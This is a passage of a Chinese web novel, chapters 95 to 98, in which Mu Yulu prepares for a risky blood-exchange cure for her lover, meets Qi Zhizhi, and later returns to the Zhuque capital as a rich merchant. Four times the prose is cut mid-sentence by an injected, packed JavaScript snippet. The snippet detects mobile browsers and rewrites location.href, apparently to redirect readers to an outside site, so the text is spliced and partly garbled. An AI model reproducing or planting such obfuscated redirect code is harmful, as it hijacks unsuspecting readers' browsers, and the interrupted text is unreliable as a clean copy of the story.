心云等人走上前来，握住她的手，她将自己从令人感到恍惚的心痛中抽离出来，抬起头坚定地道：“我不会放弃的。” 这个法子行不通那就再换一个思路，总之这换血之术一定要做。 她是真的下定了决心，并且开始为后续的事情做起了准备。 徐在野说过，行换血之术后她至少要在床上躺一两个月，即便后面能够下床，也不能耗费心力，不能吹风，更不能出远门，至少要在家里将养个小半年才能养回精神，这还只是乐观的估计，有些取血之人身体底子虚弱，将养个三年五载也是有的。 沐毓露自从重生之后便时常觉得身子骨不如前世，并且在王府折腾了大半年，又是溺水又是跪祠堂，如今只要天气一凉就会觉得腰酸背痛，浑身都不舒服。 想来她的身体的确是不如从前了，取血之后也不知道要多久才能养回来，有些事情确实是需要提前安排好的。 她先是将手头大部分的银两都托付给了心云，让心云帮忙打理，并且嘱咐她帮自己挑一个地段好租金合适的铺子，待养好身体之后她就要开始做生意，在此之前的准备工作也都有劳心云了。 将手中的钱财处理妥当之后，她带着檀香去了一趟天下第一楼。 玄武国朝堂的局势已经明朗，齐家的生意也在玄武国站稳了脚跟，如今玄武国京城也建起了一座同朱雀国一样的天下第一楼。 恰逢最近天下第一楼在聘请新厨子，沐毓露便带着檀香去试一试。 檀香在这方面很有天赋，平时也十分勤奋刻苦，可以说尽得沐毓露厨艺的真传，自然很顺利地便通过了试菜。 试菜结束后一边朝楼外走，沐毓露一边嘱咐檀香：“天下第一楼里的大厨们都是有真本事的，你在这里可以学到很多东西，接下来可能有很长一段时间我都不能指导你，你就安心在酒楼做事，一定要踏踏实实的……” 说话间两人已行至门口，忽然有两道身影自门外走来，挡住了眼前的阳光，也拦住了她们的去路。 沐毓露抬头一看，猝不及防对上了一双熟悉又陌生的眼睛。 站在门口的是齐知止和徐行之。 沐毓露盯着齐知止看了好一会儿，一时间没有反应过来，一年多没见，齐知止怎么会暴瘦成这般模样？ 他的个子本来就高，不知是不是因为瘦了太多的缘故，此刻站在门口显得尤为高挑，完全挡住了沐毓露的视线。 她愣了一会儿之后反应过来，将门口的路让出来，拉着檀香站到了一旁。 毕竟她身份特殊，不知道大名是不是还挂在朱雀国的通缉令上，刚来玄武国的时候她都不敢外出走动，生怕被人发现她就是刺杀朱雀国摄政王的逃犯。 如今她虽然敢出门了，但每次出去都会把自己捂得严严实实的，不是戴着面纱就是戴着帷帽，生怕被人认出来。 天下第一楼毕竟是齐家的产业，在这里也许一不小心就会碰上朱雀国人，因此今天她捂得格外严实，戴着帷帽连眼睛都没有露出来。 却没想到齐知止似乎还是将她认了出来。 在她让到一旁的时候，他也没有抬步走进酒楼的意思，而是依旧站在门口，定定地注视着她。 渐渐地，他的目光由平静变为灼热，原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16748530|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本无波的眼底霎时间掀起惊涛骇浪。 沐毓露知道他认出自己了。 檀香见眼前的这位公子如此直勾勾地盯着沐毓露看，又觉得恼怒，又有些好奇，想要开口发问，却被沐毓露一把拦住。 站在齐知止旁边的徐行之却是一副了然的样子，不过他也着实没有想到，会在异国他乡的天下第一楼碰见穆衾寒的在逃王妃。 他转首望了一眼逐渐遮掩不住内心情绪的齐知止，又望一眼戴着帷帽遮得严严实实还低垂着头装作不知的沐毓露，忍不住开口道：“要不这样，你们两个到楼上聊聊去？” 檀香也终于忍不住了，指着徐行之的鼻子骂道：“哪里来的登徒子？还要跟他到楼上聊聊去？以为玄武国没有王法的么？” 这时天下第一楼的总管终于发现了门口的情况，慌忙迎了过来，冲齐知止行礼道：“公子您什么时候来的？快请进快请进。” 檀香见状疑惑地眯了眯眼，徐行之则丝毫没有怒意，冲着她笑眯眯地道：“这位姑娘，你口中的登徒子正是天下第一楼的少东家。” 齐知止在这时对沐毓露轻声说道：“好久不见，最近还好么？” 沐毓露抬手摸了摸帷帽，确定它仍旧将自己的脸遮得严严实实的，这才点点头，轻轻嗯了一声。 檀香扯了扯沐毓露的衣袖，“你们还真认识呀？” 此刻的气氛是说不出的古怪。 若说齐知止是个登徒子吧，他看向沐毓露的眼神却是灼热又克制，看起来分明有许多话想对她说，却又隐忍地保持着距离。 沐毓露的反应就更加奇怪，她和齐知止看起来应当是老熟人了，她却一点也没有想同他叙旧的样子，反而防备地拉着帷帽，姿态比之前更加谨慎。 但又不像是在防着他的样子。 檀香有点搞不明白了。 齐知止轻轻地吸了口气，似乎是终于鼓起了勇气，朝着沐毓露的方向上前半步，再开口时语气里近乎带着恳求的意味：“可以上楼单独聊聊么？” 帷帽之下，沐毓露也叹了口气，这会儿她之所以如此警惕，倒不是在防着齐知止，而是他们几人已经吸引来了旁人的目光，她怕这里还有别的朱雀国人，所以才如此惴惴不安。 听见齐知止小心翼翼的邀请后，她觉得没有这个必要，却也知道若是不答应，他恐怕还会继续同她在这里僵持下去，这样只会吸引来更多的注视。 一番权衡之后，她再次轻轻点了点头，然后转首对身旁的檀香道：“你先回去吧，我同这位公子说完话就回来。” 檀香不放心地望着她，还想说些什么，却听见徐行之接话道：“想来这位姑娘是不放心沐小姐？不如这样，在下请客，订一间天下第一楼的雅间，等你在雅间吃饱喝足了，沐小姐也就出来了。” 檀香没好气地瞥了他一眼：“不必了，多谢公子好意。” 徐行之猜到她会拒绝，立马侧身给她让出一条道来：“姑娘慢走。” 檀香哼了一声，抬步离开酒楼，沐毓露则低头掩着帷帽，跟随齐知止往楼上走去。 96. 第96章 进入顶楼的雅间之后，齐知止示意沐毓露先坐，他回身将房门关上，然后安抚她道：“放心吧，今日只有我和行之两人来酒楼，不会有人透露你的行踪。” 沐毓露点点头，犹豫了一下，还是将戴在头上的帷帽摘下了。 齐知止站在原地望着她，有些惊喜，又有些恍惚，似乎是没想到会在这里见到她，而且她居然还肯同自己说话，又像是有些害怕，害怕一不小心又弄丢了她。 沐毓露将帷帽放到一边，没有看他，而是微微侧着头，是将目光落在窗外楼下熙熙攘攘的人群上，只留给他一个沉静的侧影。 雅间里一时只有两人的呼吸声和窗外隐约传来的市井声。 她似乎没什么话想要同他讲，只是在静默地等待着他开口而已。 齐知止缓步上前，将脚步落得很轻，生怕吓着她似的，行至桌前，他在她对面坐下，“没想到会在这里见到你，你在玄武国过得好吗？” 沐毓露在这时回头看他，唇角极淡地牵了一下：“我如今在其野学院，有了师长，也有了新的朋友，一切都很好。” 齐知止也知道自己的问题有些唐突，如今的她怎么看也不像是过得不好的样子，至少比在朱雀国的时候要好多了。 他没有问她是怎么从穆王府逃出来的，也没有向她解释自己当初为什么没有向她伸出援手，现在再同她说这些，只会让他觉得自己更加的不堪。 但是他忽然发现若是不谈论这些话题，他同她之间好像就没有什么话可聊了。 他们已经有很长的时间没有涉足过彼此的生活，就算是想要寒暄，都不知道该从哪里谈起，加上他一直对她有愧，总觉得此刻不管说什么都有些不合时宜。 于是简短的问话过后，房间里再次陷入了沉默。 最后还是沐毓露捡起了话头：“怎么没见着知秋？她没和你一起来玄武国么？” 齐知止连忙回道：“母亲前段时间生了一场重病，她一直留在府中照顾她，也就是这段日子才稍微得空些。” 沐毓露轻轻哦了一声：“我说怎么没在其野学院见到过她呢。” 齐知止斟酌着字句道：“没想到你反而比她先进入学院，她过段时间也会入学，最多不过一两个月，到时可以劳烦你多照顾她一下么？” “这是自然。”沐毓露点了点头：“我能进入学院其实也多亏了她，照顾她是应当的，齐公子不必这样客气。” 她嘴上说着不必客气，其实语气里满是客气疏离，齐知止有些苦涩地笑了一下，却不敢多说些什么：“那就多谢你了，到时我再请你吃饭。” 仿佛是生怕她会拒绝，说完这句话他立马就开始约时间：“就一个月后吧，知秋一个月后就来了，到时我们顺便为她接风洗尘。” 沐毓露抿了抿唇：“我就不参加了，到时候我可能不太方便。” 齐知止试探着问了一句：“怎么了？过段时间你有什么要事抽不开身么？” 沐毓露摇了摇头：“一点私事而已。” 摆明了不打算将自己的事情告诉他。 她的脸上始终带着浅淡的笑容，落在齐知止眼里却是无比的疏离，这让他觉得心口有些发堵。 他能感觉得到，有一层薄冰横亘在他与她之间，但是他不敢肯定到底是为什么。 是单纯因为许久没见，期间又发生了太多的事情，一切都物是人非，还是因为她多少有些怨他，怨他不曾在她陷入困境时伸出援手？ 望着眼前那道单薄的身影，他甚至不敢开口去问。 沐毓露疑惑地望着他，见他像是没什么话可说了，作势要起身离开。 齐知止见她打算离开了，有些慌乱地唤住了她，开口向她解释：“当初我收到了知秋的消息，得知你要与穆衾寒成婚，我立马就赶回了京城，当时我是想要带你走的，只是……” 沐毓露打断了他：“其实今日你想单独与我聊一聊，就是想说这件事情吧？” 她的声音平稳，语气也很平淡，当真是毫不在乎的样子：“我从来都没有怨过你，我知道你也有你的难处，你不必向我解释那么多的。” 她冲齐知止笑了笑，这一笑倒是让他找回了一点从前的感觉：“方才在楼下不与你相认，并非不愿，而是不敢。” 她继续说道：“你也知道我现在处境尴尬，这里有许多朱雀国人，我怕暴露了身份。” 齐知止放在膝上的手微微蜷了一下，他像是松了一口气，然后又继续不安地在沐毓露的脸上寻找曾经的痕迹。 她曾经总是会对着他笑，但绝不是像现在这般客气疏离。 他低垂着眼睫道：“从摘下帷帽到现在，你还是第一次像从前那般对着我笑，我以为你还在生我的气。” 沐毓露愣了一下，然后摇了摇头，“不是这样的，只是我最近有些烦心，有件大事一直没能有个结论，我也就一直将心悬着，所以方才表情可能严肃了些？” 她观察了一下齐知止的表情：“我方才吓到你了？” 齐知止听见她这样说，才算是真的松了一口气，想要关心一下她说的大事是什么，却见沐毓露直接站起身来，动作干脆利落，没有半分留恋。 “我还有事，天色不早了，该回去了。”她简单地向他交代了一句。 他也跟着站起身来，想替她拿一下搭在椅背上的帷帽，手刚伸出去，沐毓露却已先一步自己拿了起来，动作自然得仿佛他不存在。 她和心云她们约好了要在今天晚上商议第二套方案，她们打算连哄带骗地将三州堇璱忽悠过来行换血之术，但具体怎么实施还没有个结论。 她现在满脑子都是这件事情，自然也就没有关注到齐知止的动作。 “齐公子请留步，不必送我了。”她将帷帽戴好，微微颔首，目光掠过他的脸，心里却想着与他无关的那件大事，“你若送我，难保不会引起别人的注意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16753054|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我自己回去就好。” 说完她不再停留，转身向门外走去。 齐知止站在原地，听着她的脚步声消失在楼梯口，他沉默地在原地站了片刻，然后才慢慢坐了回去。 天色渐晚，暮色降临，他低垂着头，表情在这一片昏暗的空间里不甚分明。 沐毓露回到自己房间之后就把白天遇见齐知止的事情抛在了脑后，立马和心云她们密谋了起来。 几个人一直讨论到了深夜，最后也没得出结论，沐毓露疲惫地望了一眼窗外夜色，让她们先回去休息。 今日想不出法子那就明日再议，明日要是还议论不出个结果来那就多拉几个人一起想办法，她就不相信一群人还对付不了一个三州堇璱。 心云等人离开房间之后，沐毓露起身在屋内踱步，继续思考今天讨论出来的几个方案的可行性。 便在这时身后的窗户被人推开，紧接着一股带着凉意的气息从她身后笼罩过来，一双手臂环住了她的腰身，将她整个箍进一个坚实的怀抱里。 沐毓露吓了一跳，先是挣扎着扭身，随即反应过来抱住她的人是三州堇璱，气得她用力拍了一下他的胳膊，“你做什么？吓死我了。” 三州堇璱的下巴抵在她的发顶，他将手臂收得更紧，更用力地把她抱在怀里，然后声音闷闷地问：“你今天去哪了？” 沐毓露被他抱得有些喘不过气，又觉得莫名其妙：“我陪檀香去天下第一楼试菜了呀，你突然问这个做什么？” “只是去试菜么？”三州堇璱的声音变得更加低沉：“你在那里是不是碰见齐知止了？” 沐毓露终于明白他这突如其来的举动是为什么了，她轻轻握住他环在自己腰间的手，“你都看到了？” 然后她又问：“你不会是在跟踪我吧？” 三州堇璱轻轻地摇了摇头，又低低地嗯了一声：“我还看见你随他单独去雅间了。” 沐毓露听出了他言语间的醋意，突然心生一计，提高了声音道：“我和他单独去雅间自然是有话要聊，难道我不能和其他男子来往么？” 三州堇璱没想到她会这样回答，扶住她的肩膀将她扳过来，迫使她面对自己。 烛光下，他的眼眸深得像化不开的墨，里面翻涌着复杂的情绪。 他的声音紧绷：“你……你喜欢和他来往？” 沐毓露在心里无奈地想，他问的都是什么问题？ 嘴上却继续不饶人地道：“我喜欢和谁来往跟你有什么关系？” 她仰着头，迎视他的目光：“你现在知道了吧，就算没了你我也能过得很潇洒，你以为我会为你难过一辈子吗？你一死我立马就找别人去！” 三州堇璱眼里有些焦躁不安，有一丝探究之意，还有怎么掩也掩不住的受伤。 他深深地注视着她，直到眼眶控制不住地泛红，才轻轻地吐了一口气：“如此也好。” 沐毓露愣住了。 97. 第97章 “你若真能这样想，我也就放心了。”他的声音有一些颤抖：“这一年我接了很多的任务，攒下不少银两，它们都是留给你的。” 沐毓露的心随他的声音一起颤了一下。 他双手按住她的肩膀，一字一句地道：“我离开之后你也要自在随性地生活，你可以把我忘了，未来你也可以和一个真心爱护你的人在一起，但那个人不能是齐知止。” 沐毓露眨了眨眼睛，明知故问：“为什么？” 三州堇璱的语气下意识软了几分，带着一点哄劝的味道：“我知道他对你用情至深，但他永远也摆脱不了齐夫人对他的控制。他之前已经放弃过你一次，我绝不允许他再靠近你。” 沐毓露轻轻哼了一声，故意刺激他：“可你若是死了，还管得了我吗？等你一死我就去找齐知止，或者回朱雀国去找穆衾寒，再不然还有个风问棠呢。” 三州堇璱突然就笑了，只是那笑容里带着一丝危险的意味：“故意气我是不是？” “我犯得着故意气一个将死之人么？反正你以后也管不了我了……”话还没有说完，她就吃痛地嘶了一声：“你弄疼我了！” 三州堇璱这才意识到自己攥住她肩膀的力气有多大，看到她吃痛地红了眼眶，他的心猛地一揪，然后松开了手，“对不起，我……” 此刻他甚至不知道该说什么了。 她方才说的没错，他是将死之人，没有资格也没有立场去阻止她和谁在一起，而且他也知道她说的其实都是气话，但是在听见那些话的时候他依旧觉得心脏痛得令人无法承受。 沐毓露揉了揉自己的肩膀，红着眼眶继续泄愤似的道：“你不让我和谁在一起，我就偏和他在一起，到时候我们再生十七八个孩子……” 不等她将话说完，他终于忍无可忍地俯身吻住她，将她未完的话语碾碎在了两人紧密相贴的唇齿间。 她惊愕地睁大了眼睛，双手下意识地抵住他的胸膛，想要将他推开。三州堇璱却一手牢牢地扣住她的后脑勺，不让她有本分退缩的可能，另一只手紧紧箍住她的腰，将她死死地按向自己。 这个吻带着浓烈的占有欲，汹涌的醋意似乎将他逼到了失控的边缘，他揽住她，强势地攻城略地，几乎让她没办法呼吸。 她起初还在用力地挣扎，双手捶打着他的肩膀，但他纹丝不动，反而更加用力地将她拥进怀里。 渐渐地，她的反抗不再那么激烈，他的亲吻也不再那般粗暴，变为了温柔的辗转厮磨。 沐毓露的意识有些模糊了，抵在他胸膛的手也不知何时从推拒变成了迎合，她轻轻地攥住他的衣襟，颤抖着闭上了眼睛。 感受到了她细微的回应，他的身体猛地一僵，箍着她的手臂也卸去了大半的力气，转而变成了小心翼翼的拥抱。 直到两人都气息不稳，三州堇璱才微微松开些许，额头抵着她的额头，灼热的呼吸也交织在一起。 沐毓露靠在他的怀里，微微喘息着，过了一会儿，她抬手拥住他，像从前那样将脑袋埋在他的胸膛。 她的声音闷闷的，带着一些缠绵，还有一点哭腔：“你不要死，不要离开我，好不好？” 三州堇璱轻轻地叹息了一声，安静地抱着她，不知在想些什么。 良久，他低唤了一声她的名字，再一次低下头，将吻落在她的唇上，轻柔地辗转流连。 烛火映着他们相拥的身影，在墙上投下两道缠绵的剪影。 …… 心云几人怎么也想不通，明明前一晚她们还在苦思冥想该怎么把三州堇璱骗去行换血之术，第二天沐毓露就告诉她们三州堇璱他答应了。 什么法子都不用想，什么手段都不用使。 他就这么轻而易举地答应了？ 就连徐在野都有些吃惊，她也没想到三州堇璱这么快就想通了，答应尽快行换血之术。 此事既然已经敲定，那就宜早不宜晚，毕竟三州阁也不是吃素的，若是知晓徐在野要像她的师父一样为三州阁的杀手解毒，他们一定会派人来捣乱，拖得越久便越易生出变故。 因此在得知三州堇璱做下决定之后，徐在野只花了两日的时间做准备，然后便带着沐毓露和三州堇璱进入了其野学院的密室。 这个密室的机关是她的师父亲自建造，可以说整个学院都是以这个密室为中心扩展开来的，因此这里是最佳的行换血之术的地方，不用担心有人闯入打扰。 在取血之前，徐在野最后一次向沐毓露重申此术的风险，然后她问她：“倘若三州堇璱没能挺过去，在换血的途中身亡了，你会因此责怪自己么？” 沐毓露没有丝毫犹豫，她果断地摇头：“我们早已性命相牵了，若是他死了，我就终身不嫁，一个人好好地生活。我会成为我一直想要成为的人，也会帮他完成他想要做的事。” 她冲徐在野笑了笑：“师父，你放心吧，就算失败了我也不会因此自弃，我会好好休养身体，从此带着他那一份继续向前走下去。” 徐在野没有说话，她只是专注地盯着沐毓露的眼睛，认真地听着她说的话，待沐毓露说完之后，她平静地笑了笑，然后递给她一碗黑色的药水。 沐毓露接过药水一饮而尽，躺在徐在野安排的床上，轻轻地吐了一口气，然后闭上了眼睛。 不知道是不是那碗药水的作用，刚一闭上眼睛她就感觉意识变得昏沉，下一秒她失去了对外界的一切感知，陷入了一片无知无觉的黑暗。 这种在黑暗中不断下坠的感觉是如此的熟悉，她已经不是第一次经历了，很快她就意识到，自己也许是又回到了曾经梦见过的那个奇怪的梦境。 梦境里无边的黑暗中，渐渐浮现出一个女人的身影，她腰间缠绕着一柄发光的链剑，那柄剑成为了黑暗里唯一的光源。 她仿佛是隔着一片虚空注视着沐毓露，片刻之后露出一个模糊的笑容，那朦胧的笑意让沐毓露更加确定自己此刻身在虚无的梦境中。 那女子的声音也有些虚无缥缈，听起来并不真切，她对沐毓露道：“很高兴再次见到你，如今的你已经脱胎换骨了。” 沐毓露恍惚地注视着她，然后抬手抚上自己发热的心口，“是你吗？你是让我得以重生的人吗？” 那女子却缓缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16757212|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇了摇头：“你才是让自己重生的人。” 她也抬手指向自己的心口，“每个人的心中都有这样一团心火，只看它是明是灭。如今你胸中的这团火烧得正旺，是它带着你一次又一次走出困境。” 沐毓露若有所思地感受着从心口传来的炽热，似懂非懂地点了点头：“是我自己……让自己重生了？” 女子缓缓向她走来，像从前一样，每走一步就掀起一阵缥缈的涟漪，不知道那到底是尘埃还是雾气。 “我也很高兴你终于学会了如何爱自己，你不再自弃，一次又一次地救自己于水火。”她抬手轻轻抚上沐毓露的脸颊，却并未带来真实的触感，“好孩子，你兑现了当初的诺言，没有辜负重来一次的机会。” 沐毓露注视着她的眼睛，问出了上次没来得及问出口的问题。 她问她到底是谁，来自什么地方，为什么会选中她，最后她问，她的爱人能否在换血之术中活下来。 在她提问的同时，那女子的身形在她眼前如云烟般逐渐消散。 彻底消失之前，她只对沐毓露重复了一遍之前说过的话：“每个人的心中都有一团火，只看它是明是灭。” 话音落地的瞬间，眼前的黑暗如潮水般退去，沐毓露的意识从梦境中回到现实，她躺在床上平静地睁开了眼。 …… 时间倏忽而逝，转眼间便过去了六七年。 换血之术刚行完的时候沐毓露的状态很不好，她脸色苍白地在床上躺了小半年，才渐渐将精神养了回来。 养好身体之后她便接过了心云帮她租下的那间铺子，短短三五年的时间，就将那间小铺子经营成了仅次于天下第一楼的大酒楼。 她的生意在玄武国做得风生水起，而她本人也在玄武国站稳了脚跟，有了自己的人脉与势力，不再像初来时那般只能依靠师父和师姐庇护。 之后她开始兑现自己从前对三州堇璱的承诺，将生意做到了别国去，也不过两三年的时间，除朱雀国之外，其余三大国都有了她的门面。 当然了，能够在这么短的时间内将生意经营到这种程度，一路走来都顺风顺水，除了有她自己的天赋与努力之外，自然也离不了徐在野对她的指导，还有姜望舒时不时给她开个后门，以及齐知止这些外力对她的帮助。 得知她也开始经营自己的铺子之后，齐知止便时常主动来寻她，带着齐知秋和徐行之照顾她的生意，有时还会不动声色地给她介绍一些齐家在生意场上的资源。 沐毓露倒也不扭捏，见对方有心帮她，她在遇见了生意上的难题时，有时候也会主动去寻他，听一听他的经验之谈。 如此一来一往，时间久了，两人的相处倒也变得自然，尤其在共同经历了一些生意场上的风浪之后，他们的关系更进一步，似乎比从前在朱雀国的时候还要熟稔一些。 然而关系再如何要好，沐毓露也只是将他视为挚友，齐知止自始至终也不敢越过雷池一步，他知道自己只能以朋友的身份守在她的身边，不过对于他来说，能够保持不近不远的距离待在她身旁，将她的一颦一笑收入眼底，其实也就足够了。 98. 第98章 这期间还发生了一件大事，那就是朱雀国国君终于无法继续以蛊续命，龙驭宾天了。 朱雀国君驾崩之后，年纪尚轻的九皇子穆鹤明继位，摄政王穆衾寒意欲还政于他，离开京城归隐田园，在穆鹤明的几番劝阻之下，暂且留了下来。 新皇登基，朝政不稳，穆衾寒若是留在朝堂，的确能成为穆鹤明的一大助力。 但穆衾寒也在私下里同他说好了，他可以留在朝堂帮他，但最多不过三年时间，这三年里穆鹤明要培养起自己的势力，稳住朝纲获取民心，而他在三年之后是一定要离开的。 其实在三皇子及其党羽全部伏诛之后，穆衾寒在朝中的压力已经小了很多，流言如何沸腾他并不在意，没有任何人任何事能够动摇他的心志。 又或者说，这些年来他总觉得自己的心空了一块，总觉得有风从心脏间穿堂而过，这么积年累月地吹下来，他的心早已变得麻木了。 这几年间他和柳闻霜举案齐眉，两人有了一个女儿，因柳闻霜体质孱弱，生产过后身体难以恢复，再难怀有身孕，而穆衾寒膝下又并无一子，无人继承王位家业，柳闻霜便主动与他商议纳妾之事，只盼妾室能为他开枝散叶。 后来穆衾寒纳了几个侍妾，那几个妾室倒也为他添了几个儿子，眼看爵位后继有人，他便起了退隐之心。 这些年来除了对柳闻霜颇为亲厚之外，他对其余妾室都是淡淡的，娶她们只是为了传宗接代而已，那些女子起先还为能够嫁给穆衾寒而万分欢喜，但进入王府之后不久，她们心中的幻梦就如肥皂泡一般破灭了。 尤其是为穆衾寒生下了儿子的侍妾，以为能够母凭子贵，或是得到穆衾寒的垂怜，却没想到他连看都没有看她们一眼，直接将孩子抱走，交给了柳闻霜抚养。 倒也不是没有侍妾起过同柳闻霜争宠的心思，也有人为了讨穆衾寒欢心，使过一些小手段，但她们的下场无一例外都很凄惨，前世沐毓露的结局基本上就是她们今生的下场。 于是后来的那些侍妾就老实了，不求一丝真心，只求生下孩子能够荣华富贵。 三年后，穆鹤明在朝堂上已经能够独当一面，穆衾寒带着柳闻霜以及几个孩子离开了京城，打算一路游山玩水，寻一雅致处隐居。 至于那些侍妾，便和管家一起留在了王府之中，过起了守活寡的日子。 对于穆衾寒的这个安排，自然是无一人有异议，即便是柳闻霜，也只能听从而已。 这几年间穆衾寒越来越无当初意气风发之态，变得愈发沉默寡言，也越发阴鸷狠辣，有时候他甚至能一动不动地在窗前坐上一两个时辰，没人知道他在想些什么。 只有柳闻霜能够猜到他的心思，知晓他眉眼间的阴郁从何而来。 他们离开京城的那天，恰好与沐毓露回到朱雀国京城是同一日。 彼时穆衾寒站在高高的城墙上，静默地注视着沐毓露乘坐的那辆马车，直到她已经进入京城，消失在了他的眼前，他才缓缓将目光移开，转身走下了城楼。 他知道这一次他们是真的擦肩而过了，两人的命运不会再有交集，这是她强求来的，而他在这么多年之后也终于接受了。 沐毓露的目光没有在城门处停留，自然也没有注意到立在城楼上的那道人影。 她此番回到朱雀国并不是为了与什么人叙旧情，而是另有要事。 一个月前她收到了穆鹤明的信函，穆鹤明在信中告诉她，其实这些年穆衾寒从来没有通缉过她，她随时都可以光明正大地回来，然后又告诉了她摄政王还政退隐的消息，最后邀请她回京看一看，若是她能将生意做到朱雀国来，他愿意为她开放政策，减免租金。 沐毓露倒是对穆鹤明的话颇为信任，一方面他们两人在多年前倒也有过一些阴差阳错的交情，另一方面这几年她在成衣、首饰方面的生意做得极大，她的成衣店每隔一段时间都会换新，早已成为了四国贵女追求的风尚，然而四国当中唯有朱雀国未曾开设沐毓露的成衣店铺，朱雀国京中女子若想购买成衣，还得派人远赴别国，实在苦不堪言。 这还只是沐毓露名下的产业之一而已，除此之外她还有酒楼客栈的生意，名下门店更是数不胜数，若是能够邀请她将生意做到朱雀国来，对于国中赋税也是大有好处，穆鹤明倒是没有理由骗她。 进京之后沐毓露首先与穆鹤明见了一面。 阔别许久，两人再次相见，身份与地位都已不似从前。 以前的沐毓露只是一个商户之女，而如今的她堪称四国首富，曾经的穆鹤明在她眼中只是一个需要穆衾寒庇护的小孩儿，但现在的他已经成长为一国之君。 这一次会晤的气氛倒比沐毓露想象中要轻松许多，穆鹤明可以说是由穆衾寒手把手教出来的，身上却全无穆衾寒的冷厉之气，反而颇为温和。 与沐毓露见面后，他没有急着谈生意，而是笑眯眯地与她叙旧，待她放松下来之后再细致地同她介绍朱雀国如今的情况，邀请她先将成衣店开到朱雀京城来。 自然了，他开出的条件也十分丰厚，这些优越的条件着实吸引到了沐毓露，不过虽说穆衾寒如今已不在京城，但她仍旧对这一点有所顾忌，因此并没有立即答应下来，只是告诉穆鹤明她还需要考虑一段时间。 穆鹤明也没有着急催她，命人好好地将她送出了宫，在她出宫前他最后对她道，就算最终她决定拒绝也没有关系，她随时可以改变主意，也随时可以入宫找他。 沐毓露从善如流地应下了。 她不确定穆鹤明是不是在报小时候自己对他的“一饭之恩”，总归他今日的态度称得上诚恳，她倒也没必要总是拒绝他。 离开皇宫之后她没有立即回玄武国，而是乘着马车在京中逛了一圈。 这一圈逛下来她对朱雀国京城的现状已经有所了解，也就更加确定穆鹤明方才所说的应该都是真话。 轻轻舒了口气，她合上了车帘，闭目靠在了车内的软垫之上。 倒也不是她多疑，而是这么多年的生意做下来，她做任何事情都比从前谨慎了许多，再加上这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16762722|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里可是朱雀京城，当初她是如何血淋淋地从这座城里逃出来的，即便过去了这么多年她也仍旧记忆如新。 就在她闭上眼睛松了口气的时候，驾车的人在帘外对她道：“我们的马车现在经过沐府，您要不要下来看一看？” 沐毓露重新睁开了眼睛。 她轻轻叩了叩车壁，马车便停了下来。 自从多年前穆衾寒查出沐玉罡和三皇子勾结通敌的罪证之后，沐府中的所有男丁包括仆从都被流放，这座高宅大院里便只剩下女眷居住了。 虽说宅子仍旧留给她们居住，但沐家除这座宅子之外所有的家产都被查抄，沐府的女眷失去了经济的来源，也就只有沐昭氏还剩下一点体己钱，也不知道这么多年她们过得如何。 马车长久地停在门口，沐毓露却没有下车的意思，她坐在车内陷入了长久的沉思之中。 不知过了多久，沐府大门从里打开，发出年久失修的沉重声响，紧接着一道苍老的声音从车外传来：“你们是什么人，停在这里做什么？” 那声音既苍老又疲惫，但沐毓露还是听得出来，那是沐昭氏的声音。 沐昭氏如今也不过四十多岁的年纪，此刻听来声音却苍老得如同七八十岁的老妪，沐毓露下意识掀开车帘，探出头来望向她。 时隔多年，母女两人就这样猝不及防地对视了，目光里却全都是对彼此的陌生与防备。 沐昭氏的确是苍老了很多，头发变得稀疏苍白，背也佝偻着，像是有什么无形的重负压得她直不起腰来。 她皱起眉头死死地盯着沐毓露，目光逐渐由冰冷的探询变为了带着恨意的凝视。 沐毓露忍不住笑了。 果然恨比爱长久，这么多年过去了，一切都已物是人非，她的母亲却依旧在恨着她。 原本她不想理会她，也不愿意再踏入这一座深渊，但是在感受到沐昭氏那赤裸裸的恨意之后，她改变了主意，提起裙摆走下了马车。 沐昭氏上上下下地打量着他，然后冷冷地哼了一声：“穆王府不是说你暴毙了么？这么多年了，你还知道回来，是回来看笑话的吗？” 